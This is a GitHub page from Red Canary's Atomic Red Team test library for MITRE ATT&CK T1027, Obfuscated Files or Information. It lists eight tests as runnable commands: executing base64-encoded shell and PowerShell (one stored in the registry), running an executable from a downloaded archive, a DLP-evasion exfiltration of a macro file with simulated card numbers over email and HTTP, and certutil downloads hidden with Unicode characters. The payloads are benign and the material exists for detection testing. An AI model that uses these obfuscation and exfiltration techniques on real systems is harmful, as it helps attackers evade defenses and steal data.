Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

redcanaryco / atomic-red-team Public

Notifications Fork 2.8k Star 9.7k

Code Issues 6 Pull requests 5 Actions Wiki Security Insights

Files

f339e7d

Go to file

.github
atomic_red_team
atomics
Indexes
T1003.001
T1003.002
T1003.003
T1003.004
T1003.005
T1003.006
T1003.007
T1003.008
T1003
T1006
T1007
T1010
T1012
T1014
T1016
T1018
T1020
T1021.001
T1021.002
T1021.003
T1021.006
T1027.001
T1027.002
T1027.004
T1027
bin
src
T1027.md
T1027.yaml
T1030
T1033
T1036.003

atomic-red-team / atomics / T1027 / T1027.md

Atomic Red Team doc generat... Generated docs from job=generate-d... 71bedf4 · 2 years ago History

Preview Code Blame 361 lines (186 loc) · 11.5 KB Raw

T1027 - Obfuscated Files or Information

Description from ATT&CK

> Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
> Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as JavaScript.
>
> Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)
>
> Adversaries may also obfuscate commands executed from payloads or directly via a Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)

Atomic Tests

- Atomic Test #1 - Decode base64 Data into Script
- Atomic Test #2 - Execute base64-encoded PowerShell
- Atomic Test #3 - Execute base64-encoded PowerShell from Windows Registry
- Atomic Test #4 - Execution from Compressed File
- Atomic Test #5 - DLP Evasion via Sensitive Data in VBA Macro over email
- Atomic Test #6 - DLP Evasion via Sensitive Data in VBA Macro over HTTP
- Atomic Test #7 - Obfuscated Command in PowerShell
- Atomic Test #8 - Obfuscated Command Line using special Unicode characters

T1036.004
T1036.005
T1036.006
T1036
T1037.001
T1037.002

Atomic Test #1 - Decode base64 Data into Script

Creates a base64-encoded data file and decodes it into an executable shell script

Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes `Hello from the Atomic Red Team` and uname -v

Supported Platforms: macOS, Linux

auto_generated_guid: f45df6be-2e1e-4136-a384-8f18ab3826fb

Inputs:

Name	Description	Type	Default Value
shell_command	command to encode	String	echo Hello from the Atomic Red Team && uname -v

Attack Commands: Run with `sh`!

```
cat /tmp/encoded.dat | base64 -d > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh
```

Cleanup Commands:

```
rm /tmp/encoded.dat
rm /tmp/art.sh
```

Dependencies: Run with `sh`!

Description: encode the command into base64 file

Check Prereq Commands:

```
exit 1
```

Get Prereq Commands:

```
echo "#{shell_command}" | base64 > /tmp/encoded.dat
```

Atomic Test #2 - Execute base64-encoded PowerShell

Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!"

Supported Platforms: Windows

auto_generated_guid: a50d5a97-2531-499e-a1de-5544c74432c6

Inputs:

Name	Description	Type	Default Value

powershell_command	PowerShell command to encode	String	Write-Host "Hey, Atomic!"

Attack Commands: Run with `powershell`!

```
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
powershell.exe -EncodedCommand $EncodedCommand
```

Atomic Test #3 - Execute base64-encoded PowerShell from Windows Registry

Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute encoded command and read/write from the registry.

Supported Platforms: Windows

auto_generated_guid: 450e7218-7915-4be4-8b9b-464a49eafcec

Inputs:

Name	Description	Type	Default Value
registry_key_storage	Windows Registry Key to store code	String	HKCU:Software\Microsoft\Windows\C
powershell_command	PowerShell command to encode	String	Write-Host "Hey, Atomic!"
registry_entry_storage	Windows Registry entry to store code under key	String	Debug

Attack Commands: Run with `powershell`!

```
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand

Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_e
powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Conver
```

Cleanup Commands:

```
Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_stor
```

Atomic Test #4 - Execution from Compressed File

Mimic execution of compressed executable. When successfully executed, calculator.exe will open.

Supported Platforms: Windows

auto_generated_guid: f8c8a909-5f29-49ac-9244-413936ce6d1f

Inputs:

Name	Description	Type	Default Value
url_path	url to download Exe	Url	https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/T1027.zip

Attack Commands: Run with `command_prompt`!

```
"%temp%\temp_T1027.zip\T1027.exe"
```

Cleanup Commands:

```
taskkill /f /im calculator.exe >nul 2>nul
rmdir /S /Q %temp%\temp_T1027.zip >nul 2>nul
del /Q "%temp%\T1027.zip" >nul 2>nul
```

Dependencies: Run with `powershell`!

Description: T1027.exe must exist on disk at $env:temp\temp_T1027.zip\T1027.exe

Check Prereq Commands:

```
if (Test-Path $env:temp\temp_T1027.zip\T1027.exe) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
Invoke-WebRequest "#{url_path}" -OutFile "$env:temp\T1027.zip"
Expand-Archive -path "$env:temp\T1027.zip" -DestinationPath "$env:temp\t
```

Atomic Test #5 - DLP Evasion via Sensitive Data in VBA Macro over email

Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.

Supported Platforms: Windows

auto_generated_guid: 129edb75-d7b8-42cd-a8ba-1f3db64ec4ad

Inputs:

Name	Description	Type	Default Value
input_file	Path of the XLSM file	Path	PathToAtomicsFolder\T1027\src\T1027-cc-macro.xlsm

sender	sender email	String	test@corp.com
receiver	receiver email	String	test@corp.com
smtp_server	SMTP Server IP Address	String	127.0.0.1

Attack Commands: Run with `powershell`!

```
Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_
```

Atomic Test #6 - DLP Evasion via Sensitive Data in VBA Macro over HTTP

Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.

Supported Platforms: Windows

auto_generated_guid: e2d85e66-cb66-4ed7-93b1-833fc56c9319

Inputs:

Name	Description	Type	Default Value
input_file	Path of the XLSM file	Path	PathToAtomicsFolder\T1027\src\T1027-cc-macro.xlsm
ip_address	Destination IP address	String	127.0.0.1

Attack Commands: Run with `powershell`!

```
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body #{input_file}
```

Atomic Test #7 - Obfuscated Command in PowerShell

This is an obfuscated PowerShell command which when executed prints "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.

Supported Platforms: Windows

auto_generated_guid: 8b3f4ed6-077b-4bdd-891c-2d237f19410f

Attack Commands: Run with `powershell`!

```
$cmDwhy =[TyPe]("{0}{1}" -f 'S','TrING')  ;   $pz2Sb0  =[TYpE]("{1}{0}{2
```

Atomic Test #8 - Obfuscated Command Line using special Unicode characters

This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. ᶠ) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters). Reference: https://wietze.github.io/blog/windows-command-line-obfuscation

Supported Platforms: Windows

auto_generated_guid: e68b945c-52d0-4dd9-a5e8-d173d70c448f

Inputs:

Name	Description	Type	Default Value
remote_file	URL of file to download	Url	https://raw.githubusercontent.com/redcanaryco/ red-team/master/LICENSE.txt
local_path	Local path/filename to save the dowloaded file to	Path	Atomic-license.txt

Run it with these steps!

1. Copy the following command into the command prompt after replacing #{remote_file} and #{local_path} with your desired URL and filename.

```
certutil —ஃஜuᵒrlکcaᦶcஞீhe – –"ஞᶠഡഡ൨" #{remote_file} #{local_path}tiĪps
```

2. Press enter to execute the command. You will find the file or webpage you specified saved to the file you specified in the command.